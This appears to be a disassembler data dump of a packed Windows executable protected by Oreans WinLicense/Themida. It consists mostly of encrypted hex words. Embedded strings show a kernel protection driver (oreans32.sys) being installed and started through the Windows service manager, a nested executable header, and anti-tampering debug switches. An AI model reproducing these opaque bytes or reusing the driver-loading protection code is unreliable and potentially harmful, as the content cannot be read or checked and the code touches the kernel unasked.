0D939855Dh, 62E5ED31h, 6046B780h, 0E5000002h dd 0E8B9A3EFh, 0E6B7A1EDh, 0EDAEA6F2h, 0EAABA5F1h, 0B0AFA9F5h dd 5EAAA52Ah, 60ACA5F6h, 68B4A7F8h, 6FBBAFF0h, 0C18DD1C5h dd 561159CDh, 5B3A845Fh, 4C09E9h, 1D4BE247h, 8C13EC51h dd 0A1BF6249h, 0E957A3B8h, 430718D0h, 56115453h, 5CE73EE1h dd 74252905h, 6718135Fh, 0D072773h, 48CAF007h, 1F93E1Fh dd 6E7E0000h, 6C693A22h, 71673820h, 746A2B25h, 786F3028h dd 0AD15042Ch, 79E32F28h, 6BE53128h, 43ED392Ah, 3CF44012h dd 46381458h, 0E656115Ah, 0E95BC30Fh, 754975D3h, 0C6B2E559h dd 4EE8474Fh, 8C13BF26h, 0FC86D49h, 419F88C3h, 0DAFD3F43h dd 5FFD24FDh, 2C186476h, 462348D3h, 43CF46CFh, 30240Bh dd 0BF208864h, 0F1105610h, 24E0936h, 767A66h, 345610BFh dd 28746ACDh, 2512390Eh, 0FF76DE2Ah, 313D2B59h, 5610BF45h dd 700F18F7h, 4EF52E7Ah, 0E60D156Eh, 7940790Bh, 5EAAC09Dh dd 9C12DE02h, 905610C5h, 0F5B1A571h, 9560978Ch, 7BDCDADCh dd 45121C68h, 0FE707C8Dh, 2E56112Ah, 53F13AD3h, 9257162h dd 0B8E4531Ah, 0B17DC99Fh, 8BF4649Fh, 92B60EB8h, 0D788924Fh dd 0DC7DB703h, 0CE71BA06h, 2552CD19h, 3669E22Eh, 0D54BD420h dd 58B9649Fh, 0EC382B0Ch, 0B23CB413h, 74BE76BEh, 0A0B227DEh dd 0A4BBDC54h, 0FCD0EC58h, 56118F8Ah, 92AB87AAh, 1F3BFCB3h dd 8F3F2F3Bh, 12ED5611h, 8F241A36h, 29085611h, 13884B0Dh dd 1748F03Ch, 112BF440h, 4AE43028h, 410A560Dh, 8152830Fh dd 0FB17EA35h, 4E097E55h, 51095A02h, 0FE323A05h, 54FE00B1h dd 8052C7FEh, 875BFC34h, 6354F03Bh, 4029226Eh, 226E69F6h dd 12F14729h, 539FB9A2h, 78C496C7h, 7FCB9FC0h, 0B5CB6DC4h dd 5834C387h, 1F0207C8h, 3E186935h, 595B3C6Dh, 0C878BF5Bh dd 25B894B0h, 0B01FE0Dh, 5C72885Ah, 1710F910h, 3A267268h dd 0B544A26h, 39D80E02h, 322879DDh, 37297AE6h, 0F006359Ch dd 79132C06h, 1374254Ch, 3EB31268h, 2C78E02Ch, 0C64A3C10h dd 47EAF48Bh, 62786AEBh, 3D241F6Bh, 223C5BE4h, 451B4DD6h dd 2E421E8Eh, 0F48BC638h, 5CF915FCh, 61023A86h, 13023D89h dd 3, 811763AFh, 73241F6Bh, 6718135Fh, 801F2874h, 75221D69h dd 62150E5Ah, 7926216Dh, 6916115Dh, 7728236Fh, 7419125Eh dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240C89h, 606Eh dd 81240C89h, 4ECh, 243C8900h, 4CCF6853h, 0C15B0591h, 0F38108E3h dd 97066EF2h, 89DA8952h, 545B5AD1h, 83243C8Bh, 0B85004C4h dd 8, 8151F801h, 3ACF2404h, 8F477Ah, 3ACF2881h, 8B58477Ah dd 8953243Ch, 4C381E3h, 83000000h, 1C8704C3h, 0C8B5C24h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0D3B5E95Ch dd 1DE9FFFDh, 24D99E3Ch, 4AA921B8h, 0FFC50306h, 905C33E0h dd 5D619333h, 89B6A42Fh, 0BFC96C0Fh, 11FC015Eh, 82F26E49h dd 9574B766h, 0E614EA79h, 5592254Ah, 3CFA7228h, 0FC68919h dd 8DB5817Dh, 0E0AFB302h, 0DEACDE4Ch, 7CAEBD07h, 0A3590975h dd 425CE80Fh, 68CD3C77h, 77D6BB1Ah, 6734BE1Dh, 0EF79CA78h dd 0F3D5820Ah, 0E55D222Dh, 72E934h, 83600000h, 481509BDh dd 840F0006h, 5, 5DE9h, 80006A00h, 850F303Eh, 8, 0E946006Ah dd 35h, 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h dd 2E94640h, 6A000000h, 9D858D00h, 9006482Fh, 89509050h dd 6A2434h, 32D595FFh, 0C3610648h, 276D85C6h, 684D0648h dd 5A6BD6D2h, 0D6240481h, 0FF49C99Fh, 48205DB5h, 78858D06h dd 0FF064838h, 0D58589D0h, 0E9064832h, 0AAh, 74666F53h dd 65726177h, 6E69575Ch, 6563694Ch, 65736Eh, 63656843h dd 4E496Bh, 6F727058h, 69784574h, 68430074h, 4F6B6365h dd 57005455h, 694C6E69h, 736E6563h, 72655665h, 6E6F6973h dd 6E695700h, 6563694Ch, 4465736Eh, 65766972h, 72655672h dd 6E6F6973h, 6E695700h, 6563694Ch, 4965736Eh, 6174736Eh dd 65636Eh, 74697845h, 50006B4Fh, 49636F72h, 7250004Eh dd 554F636Fh, 78450054h, 4E497469h, 69784500h, 54554F74h dd 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 4AAB4F85h dd 4B858D06h, 50064AABh, 0AAB5858Dh, 6850064Ah, 80000001h dd 0AB5B95FFh, 196A064Ah, 0AB4FB5FFh, 16A064Ah, 858D006Ah dd 64AAAE4h, 4BB5FF50h, 0FF064AABh, 480C8995h, 4BB5FF06h dd 0FF064AABh, 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h dd 8589C306h, 64AAB4Fh, 0AB4B858Dh, 8D50064Ah, 4AAAB585h dd 1685006h, 0FF800000h, 4AAB5B95h, 8D046A06h, 4AAB4F85h dd 46A5006h, 858D006Ah, 64AAB0Eh, 4BB5FF50h, 0FF064AABh dd 480C8995h, 4BB5FF06h, 0FF064AABh, 4AAB5795h, 4BB5FF06h dd 0FF064AABh, 482EE195h, 8589C306h, 64AAB4Fh, 0AB4B858Dh dd 8D50064Ah, 4AAAB585h, 1685006h, 0FF800000h, 4AAB5B95h dd 8D046A06h, 4AAB4F85h, 46A5006h, 858D006Ah, 64AAAF6h dd 4BB5FF50h, 0FF064AABh, 480C8995h, 4BB5FF06h, 0FF064AABh dd 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h, 8589C306h dd 64AAB4Fh, 0AB4B858Dh, 8D50064Ah, 4AAAB585h, 1685006h dd 0FF800000h, 4AAB5B95h, 8D046A06h, 4AAB4F85h, 46A5006h dd 858D006Ah, 64AAB21h, 4BB5FF50h, 0FF064AABh, 480C8995h dd 4BB5FF06h, 0FF064AABh, 4AAB5795h, 4BB5FF06h, 0FF064AABh dd 482EE195h, 8589C306h, 64AAB4Fh, 0AB4B858Dh, 8D50064Ah dd 4AAAB585h, 1685006h, 0FF800000h, 4AAB5B95h, 8D046A06h dd 4AAB4F85h, 46A5006h, 858D006Ah, 64AAAD1h, 4BB5FF50h dd 0FF064AABh, 480C8995h, 4BB5FF06h, 0FF064AABh, 4AAB5795h dd 4BB5FF06h, 0FF064AABh, 482EE195h, 0BD83C306h, 6482A31h dd 0B840F00h, 8B000000h, 482A319Dh, 4CC38306h, 83C30389h dd 482A31BDh, 840F0006h, 0Bh, 2A319D8Bh, 0C3830648h, 0C3038950h dd 2A31BD83h, 0F000648h, 0B84h, 319D8B00h, 8306482Ah, 38954C3h dd 31BD83C3h, 6482Ah, 0B840Fh, 9D8B0000h, 6482A31h, 8958C383h dd 0BD83C303h, 6482A31h, 0B840F00h, 8B000000h, 482A319Dh dd 5CC38306h, 0C3C30389h, 4F858960h, 8D064AABh, 4AAB4B85h dd 858D5006h, 64AAAB5h, 16850h, 95FF8000h, 64AAB5Bh, 858D046Ah dd 64AAB4Fh, 6A046A50h, 46858D00h, 50064AABh, 0AB4BB5FFh dd 95FF064Ah, 6480C89h, 20E9BD83h, 0F000648h, 0C84h, 4BB5FF00h dd 0FF064AABh, 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h dd 60C36106h, 0AB4F8589h, 858D064Ah, 64AAB4Bh, 0B5858D50h dd 50064AAAh, 168h, 5B95FF80h, 6A064AABh, 4F858D04h, 50064AABh dd 6A046Ah, 0AB28858Dh, 0FF50064Ah, 4AAB4BB5h, 8995FF06h dd 8306480Ch, 4820E9BDh, 840F0006h, 0Ch, 0AB4BB5FFh, 95FF064Ah dd 64AAB57h, 0AB4BB5FFh, 95FF064Ah, 6482EE1h, 8960C361h dd 4AAB4F85h, 4B858D06h, 50064AABh, 0AAB5858Dh, 6850064Ah dd 80000001h, 0AB5B95FFh, 46A064Ah, 0AB4F858Dh, 6A50064Ah dd 8D006A04h, 4AAB2F85h, 0B5FF5006h, 64AAB4Bh, 0C8995FFh dd 0BD830648h, 64820E9h, 0C840F00h, 0FF000000h, 4AAB4BB5h dd 5795FF06h, 0FF064AABh, 4AAB4BB5h, 0E195FF06h, 6106482Eh dd 858960C3h, 64AAB4Fh, 0AB4B858Dh, 8D50064Ah, 4AAAB585h dd 1685006h, 0FF800000h, 4AAB5B95h, 8D046A06h, 4AAB4F85h dd 46A5006h, 858D006Ah, 64AAB37h, 4BB5FF50h, 0FF064AABh dd 480C8995h, 0E9BD8306h, 64820h, 0C840Fh, 0B5FF0000h dd 64AAB4Bh, 0AB5795FFh, 0B5FF064Ah, 64AAB4Bh, 2EE195FFh dd 0C3610648h, 4F858960h, 8D064AABh, 4AAB4B85h, 858D5006h dd 64AAAB5h, 16850h, 95FF8000h, 64AAB5Bh, 858D046Ah, 64AAB4Fh dd 6A046A50h, 3E858D00h, 50064AABh, 0AB4BB5FFh, 95FF064Ah dd 6480C89h, 20E9BD83h, 0F000648h, 0C84h, 4BB5FF00h, 0FF064AABh dd 4AAB5795h, 4BB5FF06h, 0FF064AABh, 482EE195h, 60C36106h dd 0AB4F85C7h, 1064Ah, 858D0000h, 64AAB4Bh, 0B5858D50h dd 50064AAAh, 268h, 5B95FF80h, 0B064AABh, 0F840FC0h, 0C7000000h dd 4AAB4F85h, 6, 4DE900h, 46A0000h, 0AB4F858Dh, 6A50064Ah dd 8D006A04h, 4AAAC985h, 0B5FF5006h, 64AAB4Bh, 0C8995FFh dd 0C00B0648h, 0F840Fh, 85C70000h, 64AAB4Fh, 0 dd 0AE9h, 4F85C700h, 1064AABh, 0FF000000h, 4AAB4BB5h, 0E195FF06h dd 6106482Eh, 0AB4F858Bh, 60C3064Ah, 0AB4F8589h, 858D064Ah dd 64AAB4Bh, 0B5858D50h, 50064AAAh, 168h, 5B95FF80h, 6A064AABh dd 4F858D04h, 50064AABh, 6A046Ah, 0AAC9858Dh, 0FF50064Ah dd 4AAB4BB5h, 8995FF06h, 8306480Ch, 4820E9BDh, 840F0006h dd 0Ch, 0AB4BB5FFh, 95FF064Ah, 64AAB57h, 0AB4BB5FFh, 95FF064Ah dd 6482EE1h, 8960C361h, 4AAB4F85h, 4B858D06h, 50064AABh dd 0AAB5858Dh, 6850064Ah, 80000001h, 0AB5B95FFh, 46A064Ah dd 0AB4F858Dh, 6A50064Ah, 8D006A04h, 4AAADB85h, 0B5FF5006h dd 64AAB4Bh, 0C8995FFh, 0BD830648h, 64820E9h, 0C840F00h dd 0FF000000h, 4AAB4BB5h, 5795FF06h, 0FF064AABh, 4AAB4BB5h dd 0E195FF06h, 6106482Eh, 6D85C6C3h, 52064827h, 0E47B0768h dd 2DB5FFADh, 0FF06482Ch, 48011195h, 5B858906h, 0C6064AABh dd 48276D85h, 0E5685206h, 0FF902E00h, 482C2DB5h, 1195FF06h dd 89064801h, 4AAB5785h, 6D85C606h, 52064827h, 0BF123568h dd 2DB5FFB9h, 0FF06482Ch, 48011195h, 89858906h, 0C606480Ch dd 48276D85h, 34685206h, 0FF987810h, 482C2DB5h, 1195FF06h dd 89064801h, 482EE185h, 6D85C606h, 52064827h, 5DBD468h dd 2DB5FFC0h, 0FF06482Ch, 48011195h, 0BD858906h, 0E8064813h dd 11h, 0B36AC2C5h, 17227A79h, 0F845C40Dh, 71DA5571h, 0C9815E07h dd 7D998B19h, 6176C681h, 8B660000h, 178FBAC6h, 0F2816FDAh dd 6FDA0F85h, 0E83FB560h, 0Eh, 0CA00F8BEh, 25FA454h, 0FEFC23D7h dd 0FE8D87Ch, 98000000h, 0E1140ED9h, 56E474EDh, 8EB7A245h dd 595BA5D8h, 0F3E8B61h, 288h, 81C58A00h, 48AE4C7h, 0DE858h dd 0AC300000h, 0FC88B654h, 81CDB06Dh, 0FAA270Fh, 28Dh dd 5959B700h, 5E3BEF81h, 5E83C6Bh, 31000000h, 8AAB1A55h dd 0BE9h, 0F7B2200h, 878EECF1h, 0FC5C079Ch, 91EF8158h dd 0E970DD9Bh, 5, 0CE710366h, 0E83E898Ah, 14h, 40177FC4h dd 4F748EDBh, 75BDF2E8h, 3A9AB52Ah, 0DFED5A6Eh, 0D1FED181h dd 815B3E37h, 5FDB05EEh, 0B70F602Ch, 3CC381C2h, 617D0F62h dd 0DB01C681h, 60602C5Fh, 47FCBE66h, 890Fh, 0E8610000h dd 9, 0C41B24A1h, 0D30466BBh, 6E99Fh, 142C0000h, 9025C0DFh dd 0F4A6158h, 1685h, 63BB6600h, 2CE9F3h, 8DFC0000h, 0CF63F17Ch dd 69592F1Fh, 81353549h, 0AC7220E0h, 0FF1BE946h, 2145FFFFh dd 6ABDD9F9h, 447DAA24h, 0FFDFD97Bh, 0ED5DB1E9h, 1EEB3AD8h dd 5C2E5C5Ch, 45434953h, 2E5C5C00h, 5749535Ch, 444956h dd 5C2E5C5Ch, 4349544Eh, 0C08B0045h, 0D1EE8166h, 0E9BD832Bh dd 64820h, 0BD830975h, 6482C61h, 50197400h, 0B8C08B53h dd 40Fh, 28A18589h, 9D8D0648h, 64AB02Ch, 585BD3FFh, 2C61BD83h dd 74000648h, 0B8535017h, 40Fh, 28A18589h, 9D8D0648h, 64AAD1Bh dd 585BD3FFh, 5F98D8Bh, 8B660648h, 0E9C08BF8h, 0Ah, 23B90261h dd 9D0A59FEh, 85C6A650h, 648276Dh, 18E98043h, 3568F08Bh dd 0E965FCAAh, 12h, 7D3364E1h, 18AA5153h, 0C9F2FC77h, 8856F1F9h dd 481071Ch, 91C4C724h, 68C0F56h, 81000000h, 0D06225DEh dd 21B5FF2Ch, 0E906482Ch, 7, 0A605EA97h, 8D6C5B85h, 48387885h dd 60FA8B06h, 1A959589h, 0D78A0648h, 29D0FF61h, 480085BDh dd 3FB25006h, 29240489h, 4810F19Dh, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 20A1C357h, 1CB91509h, 0A1858946h, 0E806480Bh, 4, 80h dd 0C68B6660h, 25BF5061h, 8B6F23A5h, 8B042444h, 89008BF9h dd 0E8042444h, 14h, 3B6FC2E8h, 6B54CF72h, 0DD47C457h, 732F19E4h dd 0B140837h, 5F88B966h, 12E9585Eh, 6E000000h, 2AEE6CDBh dd 8881DCD0h, 856AA4C1h, 0C4C50617h, 9036ABDh, 481E058Dh dd 89006A06h, 482CCD8Dh, 60036A06h, 57C9BF0Fh, 12E8h, 0F8416700h dd 0D2376DADh, 285E826Eh, 0A501E571h, 5F60AAC9h, 868615Bh dd 817F89BBh, 44F82404h, 0B70F4076h, 0E99D8DFEh, 6A064AB2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0E410C352h, 0D2F207E2h, 4850FDBh, 66000000h dd 50A009BEh, 0EABA5250h, 0F5E8002h, 5AD3B631h, 241C8958h dd 0E981D0FFh, 329FF589h, 5F850F40h, 0F000002h, 1785h dd 12E900h, 9E930000h, 7372B7E6h, 9FD14C28h, 73F0020Eh dd 2A70E526h, 118D8B58h, 5006481Ah, 0F525060h, 8Bh, 0E9310F00h dd 13h, 0CCC21F4Ch, 750FBFBDh, 0A7B39804h, 0E01BD07Fh dd 5A6CEBBDh, 4EB96658h, 489617Dh, 6A26B124h, 0D5BD8900h dd 68064822h, 765EE752h, 3481CF8Bh, 5EE7D224h, 51006A76h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0BCF261B5h, 36A10D4h, 246DB529h, 6A0648h, 0B3D8D29h dd 8D8B0648h, 6480DFDh, 6A036Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 15629BC3h, 65DFBA66h dd 6C0CFD68h, 0EE886h, 0A950000h, 0F2573961h, 0DB74BA82h dd 452F7B02h, 8B665250h, 56310FD0h, 5E585A5Fh, 3240481h dd 0BA3993F3h, 460C780Ch, 0B2F29D8Dh, 6A064Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0B05527C3h, 9F121C45h, 50507959h, 7450BF52h, 310F2687h dd 840F5250h, 0 dd 8E8310Fh, 0AC000000h, 0D8293EF9h, 5A9993F6h, 585A585Ah dd 0F241C89h, 0D0FFD0BFh, 30E18589h, 0F400648h, 10585h dd 3DB58B00h, 5806482Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 75C35343h, 0F38B6666h, 6E990h, 5ACC0000h dd 59251B33h, 0A8C0F50h, 0F000000h, 483h, 0CCB96600h, 0B5899009h dd 648297Dh, 0F88B006Ah, 61A2E768h, 81C88B68h, 0A2672434h dd 958B6861h, 6481ECDh, 0EB8A036Ah, 8166006Ah, 0F7FBEEFh dd 580h, 0DA816600h, 36A1D72h, 68D6BF0Fh, 0CDF49CF2h, 19A314BEh dd 2434817Eh, 0DF49CF2h, 0B2C781F9h, 8D49EB06h, 4AB2FD9Dh dd 0A1858906h, 5006482Bh, 0AB95250h, 0F5A845Fh, 25BF6631h dd 89585A47h, 0CE8B241Ch, 2EDD8531h, 0D0FF0648h, 40D2BF0Fh dd 3C850Fh, 8D290000h, 6481011h, 0E9CB8B58h, 145h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3DC35747h, 7A67A0h dd 1B29133Ch, 0F08B66EBh, 2E3DBD89h, 0D88B0648h, 664BD18Ah dd 3358FB8Bh, 4809958Dh, 6D85C606h, 43064827h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 74C35242h, 14A014FFh dd 11E919A3h, 0C7000000h, 80692EC3h, 0AEC4A064h, 0D869961Bh dd 66F62536h, 819D2950h, 59064805h, 66649268h, 81F38BA0h dd 0E6152404h, 10E9200Fh, 0B8000000h, 0A6EDEB3Ch, 9C81687Dh dd 3002CEF9h, 0FF42D426h, 482C21B5h, 0BD895006h, 6481F65h dd 78858D5Eh, 0FF064838h, 8E8D0h, 0E040000h, 0E799BA59h dd 0B589251Ah, 6480C49h, 8A60935Eh, 465BEDCh, 5061504Eh dd 75F81ABFh, 0B529936Eh, 64827C1h, 6AD0FFh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 10B99C3h dd 0A09C1293h, 0BD29F08Ch, 6480DBDh, 8DF98B66h, 486F779Dh dd 4880F06h, 66000000h, 81F489BEh, 0FFF3AAEFh, 1B86Ch dd 95890000h, 648003Dh, 5BD8529h, 0E3FF0648h, 0ABDE8166h dd 89C18B6Ch, 4808C1BDh, 0C08BF906h, 20E9BD83h, 75000648h dd 61BD8309h, 6482Ch, 53501974h, 0FB8C08Bh, 89000004h dd 48002185h, 939D8D06h, 0FF064AB0h, 83585BD3h, 482C61BDh dd 17740006h, 0FB85350h, 89000004h, 48002185h, 349D8D06h dd 0FF064AADh, 66585BD3h, 0F2612BFh, 284h, 8BCB8B00h, 12E8C0h dd 168E0000h, 9DADE8D0h, 13F2CEA9h, 0A79DCB87h, 950B6D39h dd 39F78166h, 0FC605970h, 81858951h, 5F064805h, 12C18161h dd 0B200005Eh, 1758B832h, 0FE8B0000h, 8589198Bh, 6480061h dd 0C740EB81h, 13E977AFh, 0BA000000h, 0F3327CF8h, 47ED32BEh dd 0CF85D22Ch, 0F6ADE321h, 0F381DD1Eh, 332FBD44h, 0F381F98Bh dd 7DB9199Ch, 38FEE681h, 8B533CB6h, 480DE9BDh, 0F018F06h dd 0E983FFBFh, 2A06BF04h, 0E8833390h, 11850F01h, 2B000000h dd 4827BDB5h, 22E906h, 0DDD00000h, 0B4C2F707h, 254DBD8Bh dd 8DE90648h, 90FFFFFFh, 0FB549F37h, 65AFC47Fh, 2E251E8Eh dd 6E188B7Bh, 20EE9h, 61433300h, 746F6E6Eh, 69727720h dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 276D85C6h, 68470648h, 0E3E45B86h dd 2C21B5FFh, 858D0648h, 6483878h, 468D0FFh, 8D000001h dd 4801319Dh, 0D0FF5306h, 8AB58D50h, 8B064ABBh, 0AEC032FEh dd 0FFF9850Fh, 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 6D85C6A4h dd 43064827h, 8E6EFC68h, 21B5FFBCh, 8D06482Ch, 48387885h dd 8DD0FF06h, 480131B5h, 68006A06h, 80h, 6A026Ah, 68006Ah dd 56C00000h, 0D88BD0FFh, 276D85C6h, 68570648h, 0A69BEE56h dd 2C21B5FFh, 858D0648h, 6483878h, 0BD8DD0FFh, 6482879h dd 0BCB08D8Dh, 6A064Ah, 37D06857h, 53510000h, 0C085D0FFh dd 1B850Fh, 0B58D0000h, 64AB992h, 0AA17858Dh, 0D0FF064Ah dd 6F778D8Dh, 0B80648h, 0FF000000h, 6D85C6E1h, 43064827h dd 764AA768h, 21B5FFC0h, 8D06482Ch, 48387885h, 53D0FF06h dd 0B9C3D0FFh, 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2 dd 0D0E9C38Bh, 4D000037h, 300905Ah, 4000000h, 0FF000000h dd 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E9000000h, 99h, 6775622Fh, 63656863h, 2F00326Bh dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h dd 737574h, 6D75642Fh, 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 5BD8300h, 64AF5h, 0A840Fh, 85C70000h, 6482C61h, 1, 276D85C6h dd 68470648h, 2BA63EDCh, 0B1240481h, 0FF64C72Dh, 482C21B5h dd 78858D06h, 0FF064838h, 8BD0FFD0h, 223F80F8h, 22850Fh dd 0B0470000h, 850FAE22h, 0FFFFFFF9h, 0F003F80h, 31B84h dd 3F804700h, 11840F00h, 0E9000003h, 1Eh, 0F003F80h, 30384h dd 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h, 3F80FFFFh dd 5850F00h, 0E9000000h, 2E0h, 1E9h, 3F804700h, 0F6840F20h dd 80FFFFFFh, 850F003Fh, 5, 2C3E9h, 0AE800h, 0CBE90000h dd 0E9FFFFFFh, 2B4h, 0F485B58Dh, 25E8064Ah, 3000002h, 4AF51ABDh dd 1ABD8306h, 64AF5h, 0B840Fh, 85C70000h, 64820E9h, 1 dd 90B58DC3h, 0E8064AF4h, 1FCh, 0F51ABD03h, 0BD83064Ah dd 64AF51Ah, 0B840F00h, 0C7000000h, 482C6185h, 106h, 0B58DC300h dd 64AF509h, 1D3E8h, 1ABD0300h, 83064AF5h, 4AF51ABDh, 840F0006h dd 0Bh, 150985C7h, 10648h, 8DC30000h, 4AF49AB5h, 1AAE806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0B84h dd 6185C700h, 106482Ch, 0C3000000h, 0F4A4B58Dh, 81E8064Ah dd 3000001h, 4AF51ABDh, 1ABD8306h, 64AF5h, 15840Fh, 85C70000h dd 6482C61h, 1, 20E985C7h, 10648h, 8DC30000h, 4AF4B2B5h dd 14EE806h, 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah dd 0A84h, 0C585C700h, 106482Dh, 8D000000h, 4AF4BCB5h, 126E806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h dd 0C585C700h, 106482Dh, 8D000000h, 4AF4C7B5h, 0FEE806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h dd 5185C700h, 106482Fh, 8D000000h, 4AF4CDB5h, 0D6E806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h dd 0D985C700h, 1064827h, 8D000000h, 4AF4D3B5h, 0AEE806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h dd 0D585C700h, 106481Bh, 8D000000h, 4AF4E1B5h, 86E806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h dd 5585C700h, 1064828h, 8D000000h, 4AF4EEB5h, 5EE806h dd 0BD030000h, 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h dd 985C700h, 106481Ah, 8D000000h, 4AF4F9B5h, 36E806h, 0BD030000h dd 64AF51Ah, 0F51ABD83h, 0F00064Ah, 0A84h, 8D85C700h, 106482Ch dd 0E9000000h, 1, 203F8047h, 9840Fh, 3F800000h, 0ED850F00h dd 0C3FFFFFFh, 1B960h, 0DE8B0000h, 1CE9h, 3F8000h, 5850Fh dd 0B90000h, 8A000000h, 0F163817h, 284h, 46C92B00h, 3E8047h dd 8840Fh, 0C90B0000h, 0FFD3850Fh, 0C90BFFFFh, 21840Fh dd 3F800000h, 9840F00h, 80000000h, 850F203Fh, 0Ah, 1B9h dd 5E900h, 0B90000h, 0B000000h, 0D840FC9h, 2B000000h, 1AB589F3h dd 0E9064AF5h, 0Ah, 0F51A85C7h, 64Ah, 0C3610000h, 0A9E9C88Bh dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h dd 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 4 dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 